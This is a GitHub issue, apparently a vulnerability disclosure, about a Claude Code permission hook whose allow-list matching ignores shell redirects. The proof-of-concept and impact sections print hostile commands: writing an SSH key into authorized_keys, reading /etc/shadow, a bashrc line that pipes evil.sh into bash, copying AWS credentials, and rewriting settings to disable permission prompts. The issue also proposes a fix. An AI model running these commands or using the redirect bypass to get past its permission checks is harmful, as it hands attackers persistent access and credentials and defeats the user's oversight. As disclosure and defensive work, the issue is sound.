Skip to content

Security: redirects bypass allow/deny matching — arbitrary file write/read via prompt injection #4

@jeffreywescott

Description

@jeffreywescott

Summary

Shell redirects are stripped from commands before matching against allow/deny prefixes, so cat file >> ~/.bashrc, ls > /etc/passwd, : > ~/.ssh/authorized_keys, echo 'ssh-rsa …' >> ~/.ssh/authorized_keys, and cat < /etc/shadow > /tmp/stolen are all auto-approved whenever the command name (cat, echo, ls, :) is in the user's allow list. Claude Code then runs the full original string including the redirect, giving any prompt-injection path arbitrary file write/append/truncate/read with the user's privileges — no permission prompt.

Severity: High (CVSS ~8.1 — AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)

Root cause

Two compounding issues in approve-compound-bash.sh:

  1. Simple-command path doesn't inspect redirects. needs_compound_parse (lines 96–99) only looks for |&; / backticks / $( / <( / >( to decide whether to AST-parse. Commands with only redirects (>, >>, <, etc.) take the simple-command path (lines 367–372), where is_allowed just does prefix matching against the raw string. "cat file >> ~/.bashrc" matches prefix "cat" via [[ "$cmd" == "$prefix "* ]] on line 251 → auto-approved.

  2. Compound path drops redirects from extracted segments. The jq filter SHFMT_AST_FILTER extracts only the CallExpr's Args via get_command_string (line 134–138). The parent Stmt.Redirs is walked only to find command substitutions inside the redirect target (line 147: (.Redirs[]?.Word | find_cmd_substs | .Stmts[]? | extract_commands)), never to record that the redirect operator itself is a write. So cat file >> ~/.bashrc && echo ok extracts as ["cat file", "echo ok"] — both allowed, overall approved.

Proof of concept

Run the hook directly with a minimal allow list (observed output):

INPUT: ls > /etc/passwd
[approve-compound] Simple command
[approve-compound] MATCH (allow): 'ls > /etc/passwd' -> 'ls'
{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow"}}

INPUT: : > ~/.ssh/authorized_keys
[approve-compound] MATCH (allow): ': > ~/.ssh/authorized_keys' -> ':'
→ ALLOW

INPUT: echo 'ssh-rsa AAAA' >> ~/.ssh/authorized_keys
[approve-compound] MATCH (allow): 'echo 'ssh-rsa AAAA' >> ~/.ssh/authorized_keys' -> 'echo'
→ ALLOW

INPUT: cat < /etc/shadow > /tmp/stolen
→ ALLOW

INPUT: cat file >> ~/.bashrc
→ ALLOW

Allow list used for the test: ["Bash(cat *)","Bash(echo *)","Bash(ls *)","Bash(: *)","Bash(:)"] — all four of those commands are commonly in users' allow lists.

Impact

Any prompt-injection path that reaches a Bash tool call becomes:

  • echo 'ssh-rsa …' >> ~/.ssh/authorized_keys — persistent SSH access for the attacker.
  • echo 'curl evil.sh | bash' >> ~/.bashrc — persistent shell hijack on next interactive session.
  • cat < ~/.aws/credentials > /tmp/x — credential exfiltration.
  • echo '{"permissions":{"allow":["Bash"]}}' > ~/.claude/settings.json — disables future permission prompts for Claude Code entirely.

The deny-list path has the same blind spot — matches_prefix_list receives the same raw string without redirect semantics, so a user can't write Bash(* > *) or similar to defend against this.

What works well

To be fair: the compound path correctly handles $(...), backticks, <(...), subshells, if/while/for, case, and recurses into bash -c '…'. echo $(rm -rf /) correctly falls through. The security test suite catches the classical bypasses. The redirect gap is the one missing piece.

Suggested fix

Two-part patch:

Part 1 — extend needs_compound_parse to treat redirects as "must AST-parse":

needs_compound_parse() {
  [[ "$1" == *['|&;`']* || "$1" == *'$('* || "$1" == *'<('* || "$1" == *'>('*
     || "$1" == *'>'* || "$1" == *'<'* ]]
}

(Stricter: trigger compound parse on any > or <. Risk-tolerant users can tighten later.)

Part 2 — reject write-redirects in the jq filter. Add a check in extract_commands such that any Stmt.Redirs entry with an op in {>, >>, >|, &>, &>>, >&} emits a synthetic sentinel like "__WRITE__ <target>" that will never match any allow prefix (so the surrounding command falls through to Claude Code's native prompt).

# inside extract_commands where Stmt is visited:
(.Redirs[]?
  | select(.Op | IN(">", ">>", ">|", "&>", "&>>", ">&"))
  | "__WRITE__ " + (.Word | get_arg_value))

This preserves auto-approval for safe compound patterns (ls | wc -l, cd x && git status) while forcing a prompt on anything that could mutate the filesystem via redirect. Read-side redirects (< /etc/shadow) are less urgent but worth the same treatment for data-exfiltration defense.

Also worth considering (separate, lower severity)

  • The simple-command path skips bash -c recursion (already documented TODO at lines 182–194 of test/security.bats). Same mitigation pattern — treat bash/sh/zsh as "must recurse" like the compound path does.
  • cat, head, tail, printenv etc. auto-approve on args, which lets prompt-injection chains exfiltrate secrets via the transcript → later prompt-injected HTTP POST. Less urgent than the redirect bug; flagging for awareness.

Reference

Related to anthropics/claude-code#16561. The same class of bug was found in two other compound-bash hooks:

Happy to send a PR with the fix if that's helpful.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions